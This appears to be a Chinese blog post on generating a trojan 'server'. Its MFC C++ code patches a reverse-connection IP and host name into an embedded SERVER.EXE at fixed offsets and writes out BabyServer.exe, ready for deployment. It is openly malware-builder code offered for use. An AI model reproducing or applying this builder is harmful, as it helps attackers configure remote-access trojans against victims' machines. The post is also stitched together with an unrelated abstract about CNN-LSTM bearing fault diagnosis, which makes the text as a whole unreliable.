木马服务端生成技术详解

用16进制工具   打开.EXE文件 找到要替换的内容地址 进行更新写入就可以了

注意点: 地址是从0开始的如下图所示的 地址应该是:0X5124 

 

其实改写代码如下:

 

 

void ServerConfig::OnCreate() 
{
    UpdateData();
    
if(m_ip.IsEmpty()||m_name.IsEmpty())
    
{
        MessageBox(
"请输入反向连接的IP地址和主机上线名称 ");
    }


    DWORD dwSize,dwWritten;
    HRSRC hr
=FindResource(0,MAKEINTRESOURCE(IDR_SERVER),"SERVER");//查找资源
    if(hr==NULL) MessageBox("hr error");

    dwSize
=SizeofResource(NULL,hr);

    HGLOBAL hg
=LoadResource(NULL,hr);//加载资源

    
if(hg==NULL) MessageBox("hg error");

    LPSTR lp
=(LPSTR)LockResource(hg);//锁定资源

    
if(lp==NULL) MessageBox("lp error");


    LPBYTE p
=(LPBYTE)GlobalAlloc(GPTR, dwSize);  
    
if (p==NULL)  MessageBox("lp error");
    
    CopyMemory((LPVOID)p, (LPCVOID)LockResource(hg), dwSize);                                    
// 复制资源数据
    CopyMemory((LPVOID)(p+0x5020), (LPCVOID)m_name.LockBuffer(),MAX_PATH);            //写入主机名称信息
    CopyMemory((LPVOID)(p+0x5124), (LPCVOID)m_ip.LockBuffer(),15);    //写入主机名称信息

    
/*本地文件路径*/

    CString SaveFilePath;
    BROWSEINFO bi;
    ZeroMemory(
&bi,sizeof(BROWSEINFO));
    bi.hwndOwner
=GetSafeHwnd();
    bi.lpszTitle
="将文件保存到";
    LPITEMIDLIST idl
=SHBrowseForFolder(&bi);
    
if(idl==NULL)
        
return;
    SHGetPathFromIDList(idl,SaveFilePath.LockBuffer());

    strcat(SaveFilePath.LockBuffer(),
"/");
    strcat(SaveFilePath.LockBuffer(),
"BabyServer.exe");



    HANDLE hFile;
    hFile 
= CreateFile(SaveFilePath.LockBuffer(),GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
    if(hFile == NULL)    MessageBox("file error");
    
else                MessageBox("服务端文件生成成功!");
    WriteFile(hFile,(LPCVOID)p,dwSize,
&dwWritten,NULL);//写入文件
    CloseHandle(hFile);

    
}

 

IDC_SERVER为引入的SERVER.EXE资源文件 SERVER为 资源类类型 

【故障诊断】【pytorch】基于CNN-LSTM故障分类的轴承故障诊断研究[西储大学数据](Python代码实现)内容概要:本文介绍了基于CNN-LSTM神经网络模型的轴承故障分类方法,利用PyTorch框架实现,采用西储大学(Case Western Reserve University)公开的轴承故障数据集进行实验验证。该方法结合卷积神经网络(CNN)强大的特征提取能力和长短期记忆网络(LSTM)对时序数据的建模优势,实现对轴承不同故障类型和严重程度的高精度分类。文中详细阐述了数据预处理、模型构建、训练流程及结果分析过程,并提供了完整的Python代码实现,属于典型的工业设备故障诊断领域深度学习应用研究。; 适合人群:具备Python编程基础和深度学习基础知识的高校学生、科研人员及工业界从事设备状态监测与故障诊断的工程师,尤其适合正在开展相关课题研究或希望复现EI级别论文成果的研究者。; 使用场景及目标:① 学习如何使用PyTorch搭建CNN-LSTM混合模型进行时间序列分类;② 掌握轴承振动信号的预处理与特征学习方法;③ 复现并改进基于公开数据集的故障诊断模型,用于学术论文撰写或实际工业场景验证; 阅读建议:建议读者结合提供的代码逐行理解模型实现细节,重点关注数据加载、滑动窗口处理、网络结构设计及训练策略部分,鼓励在原有基础上尝试不同的网络结构或优化算法以提升分类性能。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值